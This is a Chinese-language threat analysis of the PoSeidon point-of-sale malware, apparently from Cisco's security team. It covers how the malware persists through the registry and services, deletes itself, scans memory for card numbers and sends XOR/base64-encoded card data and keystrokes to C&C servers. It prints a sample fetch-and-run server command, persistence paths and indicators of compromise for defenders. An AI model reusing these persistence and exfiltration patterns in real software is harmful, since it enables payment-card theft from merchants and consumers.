波塞冬(PoSeidon)——深入探究销售点终端恶意软件

安全 终端安全
当消费者从零售商处采购时,交易是通过销售点终端(PoS)系统处理完成的。当使用信用卡或借记卡时,PoS系统被用来读取存储在信用卡背面磁条中的信息。一旦该信息被从商家处盗取后,它可被编码到磁条中,并在一张新卡上加以使用。由于攻击者能够轻松地利用盗取的信用卡信息牟利,因而针对这一宝贵信息的犯罪市场一直都存在。

思科安全解决方案(CSS) 团队由具备法律实施、企业安全和技术安全等丰富背景的信息安全专家组成。该团队直接与思科Talos安全情报和研究小组展开合作,旨在识别已知和未知的威胁、量化风险并划分其优先级,最大限度降低未来的风险。

当消费者从零售商处采购时,交易是通过销售点终端(PoS)系统处理完成的。当使用信用卡或借记卡时,PoS系统被用来读取存储在信用卡背面磁条中的信息。一旦该信息被从商家处盗取后,它可被编码到磁条中,并在一张新卡上加以使用。由于攻击者能够轻松地利用盗取的信用卡信息牟利,因而针对这一宝贵信息的犯罪市场一直都存在。涉及PoS恶意软件的事件一直呈现上升势头,这对许多大型企业和家庭式企业都造成了影响,同时也引起了众多媒体的关注。可以肯定的是,大量金融信息和个人信息的存在,使得这些企业及其零售PoS系统仍会成为极具吸引力的攻击目标。

概况

今天要介绍的是一款新的针对PoS系统的恶意软件,这款软件会在PoS内存中寻找信用卡信息,并将这些信息发送到服务器,服务器使用了.ru顶级域名,这些信息可能会被重新卖出去。这个新的恶意软件家族(我们取名为PoSeidon)中有些组件,如下图所示:

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

首先它会加载Loader,它会试图留存在目标系统中,防止系统重启。Loader之后会联系命令与控制(command and control)服务器,接收一个包含另一个程序的URL,并下载执行。下载下来的程序是FindStr,它会安装一个键盘记录器,并且在PoS设备中扫描数字序列,这些数字序列就有可能是信用卡号码。如果经过验证,这些数字确实是信用卡号码,键盘记录和信用卡号码就会被编码并发送到一个服务器。#p#

技术细节

键盘记录器

这个文件的SHA256校验值是 334079dc9fa5b06fbd68e81de903fcd4e356b4f2d0e8bbd6bdca7891786c39d4,可能是PoS系 统攻击的源头。我们把这个文件叫做键盘记录器(KeyLogger)是基于它的调试信息:

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

一旦被执行,这个文件就会把自身复制到%SystemRoot%\system32\.exe或者是%UserProfile%\.exe,并在HKLM(或者HKCU)\Software\Microsoft\Windows\CurrentVersion\Run处加入注册表项。

这个文件还会打开HKCU\Software\ LogMeIn Ignition,打开并删除PasswordTicket键值,获取Email键值,它还会删除注册表目录树HKCU\Software \LogMeInIgnition\\Profiles\*。

文件会使用POST方法把数据发送到下列URI中的一个地址:

wondertechmy[.]com/pes/viewtopic.php
wondertechmy[.]ru/pes/viewtopic.php
wondwondnew[.]ru/pes/viewtopic.php

URI格式是

uid=%I64u&win=%d.%d&vers=%s

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

键盘记录器组件是用来窃取密码的,也有可能是感染机器的初始途径。

Loader

我们把这个文件叫做loader是基于它的调试信息:

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

一经运行,Loader会检查它是不是以以下两个文件名执行的:

WinHost.exe
WinHost32.exe

如果不是,它就会确保没有以WinHost名字正在运行的Windows服务。Loader会将自身复制到%SystemRoot%\System32\WinHost.exe,覆盖掉那里任何可能以相同名字命名的文件。接下来,Loader会启动一个名为WinHost的服务。

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

之所以要这么做是因为即使当前用户注销,它也要留在内存中。如果Loader不能将自己变成服务,它就会把在内存中的自己的其他实例终 止掉。然后将自身复制到%UserProfile%\WinHost32.exe,并且安装注册表键HKCU\Microsoft\Windows\CurrentVersion\Run\\WinHost32。最后,它会创建一个新进程进行 %UserProfile%\WinHost32.exe。

既然现在它可以一直留在系统中,Loader就会执行下面的命令将自己删除:

cmd.exe /c del >> NUL

在内存中运行的Loader会尝试读取 %SystemRoot%\System32\WinHost.exe.cfg这里的配置文件。 这份文件中有一个URL列表,这些URL列表是要被加到已经被硬编码到Loader的URL列表里的。#p#

然后Loader会联系其中某个被硬编码的C&C服务器:

linturefa.com
xablopefgr.com
tabidzuwek.com
lacdileftre.ru
tabidzuwek.com
xablopefgr.com
lacdileftre.ru
weksrubaz.ru
linturefa.ru
mifastubiv.ru
xablopefgr.ru
tabidzuwek.ru

对应的IP地址:

151.236.11.167
185.13.32.132
185.13.32.48
REDACTED at request of Federal Law Enforcement
31.184.192.196
91.220.131.116
91.220.131.87

如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:

Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)

POST数据会被发送到:

  1. <IP ADDRESS>/ldl01/viewtopic.php  
  2. <IP ADDRESS>/pes2/viewtopic.php  

POST数据格式为:

uid=%I64u&uinfo=%s&win=%d.%d&bits=%d&vers=%s&build=%s

Loader应从C&C服务器获取这样的回应:

{<命令字符(CommandLetter)>:<参数(ArgumentString)>}

示例:

{R:http://badguy.com/malwarefilename.exe}

{b:pes13n|373973303|https://01.220.131.116/ldl01/files/pes13n.exe}

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

获取和执行了服务器响应中的可执行文件,PoSeidon的第二部分登场。#p#

FindStr

我们把这个文件叫做FindStr是基于它的调试信息:

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

这个文件会在系统中安装一个很小的键盘记录器,这个键盘记录器和这里的描述极为相似。这个键盘记录器截获的数据稍后会被发送至服务器。

这个恶意软件会在内存中寻找特定的数字序列:

· 以6, 5, 4开头的16位数字 (Discover, Visa, Mastercard)

· 以3开头的15位数字(AMEX)

然后它会使用Luhn算法验证这些数字是不是真的信用卡或借记卡号码,代码片段如下:

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

接下来,它会尝试解析下面的这些域名,其中有些域名是很有名的数据窃取服务器:

quartlet.com
horticartf.com
kilaxuntf.ru
dreplicag.ru
fimzusoln.ru
wetguqan.ru

如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:

Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)

POST数据会被发送到:

  1. <IPADDRESS>/pes13/viewtopic.php 

数据格式为:

oprat=2&uid=%I64u&uinfo=%s&win=%d.%d&vers=%s

<IPADDRESS>/pes13/viewtopic.php

可选的POST数据(data:信用卡号码,logs:键盘记录数据)

  1. &data=<XORed_with_0x2A_then_base64_data_unk> 
  2. logs=<XORed_with_0x2A_then_base64_data_unk> 

发送到服务器上的信用卡号码和键盘记录器的数据都是经过XOR运算并且用base64编码的。

服务器的回应应该是:

这个机制可以让恶意软件根据从服务器收到的指令进行自我更新。#p#

Loader vs FindStr

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

使用Bindiff对未打包的Loader(版本11.4 )和未打包的FindStr(版本7.1)进行对比,结果显示62%的函数相同。恶意软件背后的攻击者可能开发了某些核心函数,并将它们编译进库,然后他们开发的其他项目可以直接使用这些函数。

IOC

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

点击查看终端IOC版本

Win.Trojan.PoSeidon.RegistryItem.ioc
Win.Trojan.PoSeidon.ProcessItem.ioc
Win.Trojan.PoSeidon.FileItem.ioc

域名

linturefa.com
xablopefgr.com
tabidzuwek.com
linturefa.ru
xablopefgr.ru
tabidzuwek.ru
weksrubaz.ru
mifastubiv.ru
lacdileftre.ru
quartlet.com
horticartf.com
kilaxuntf.ru
dreplicag.ru
fimzusoln.ru
wetguqan.ru

IP地址:

151.236.11.167
185.13.32.132
185.13.32.48
REDACTED at request of Federal Law Enforcement
31.184.192.196
91.220.131.116
91.220.131.87
REDACTED at request of Federal Law Enforcement

结论

PoSeidon是又一个针对PoS系统的恶意软件,它显示出其作者的高超技术。攻击者会继续针对PoS系统进行攻击,并且使用各种混淆手段逃避检测。只要PoS攻击能够提供回报,攻击者们就会继续研发新的恶意软件。网络管理员们应该要保持警惕,并且使用最佳解决方案保证免受这些恶意软件的攻击。

Snort Rules: 33836-33852. 请参照Defense Center or FIREsight 管理终端的更新信息。

保护用户防御威胁

波塞冬(PoSeidon)——深入探究销售点终端恶意软件

我们鼓励大家通过面向威胁的方法架构,开始最佳的安全实践。在当今不断变化的安全形势下,这种以威胁为中心的、合理的方法架构,将完全保护您的网络并贯穿“之前、期中、之后”的威胁攻击的全过程。它基于卓越的可视化能力,持续的控制能力和高级威胁防御,包括外延网络和贯穿攻击的全过程。

责任编辑:蓝雨泪 来源: 51CTO.com
相关推荐

2015-07-22 10:33:04

2018-02-27 11:11:20

Wi-Fi

2012-12-17 09:47:33

2022-10-27 13:38:25

2023-08-07 07:44:44

2022-10-20 12:07:20

2011-06-07 14:58:03

2021-11-05 05:40:14

勒索软件攻击数据泄露

2017-02-28 12:41:03

2012-12-14 12:53:15

2023-02-28 14:16:52

边缘计算数据中心

2015-11-05 10:07:56

2012-09-05 09:40:29

2020-12-31 10:00:40

PoS终端终端安全网络攻击

2012-06-07 10:30:27

2013-07-15 11:03:52

802.11ac技术802.11ac

2011-12-22 14:27:11

2015-11-19 20:06:26

联迪

2022-02-15 11:49:08

eBPFGo内存

2012-11-12 10:03:27

点赞
收藏

51CTO技术栈公众号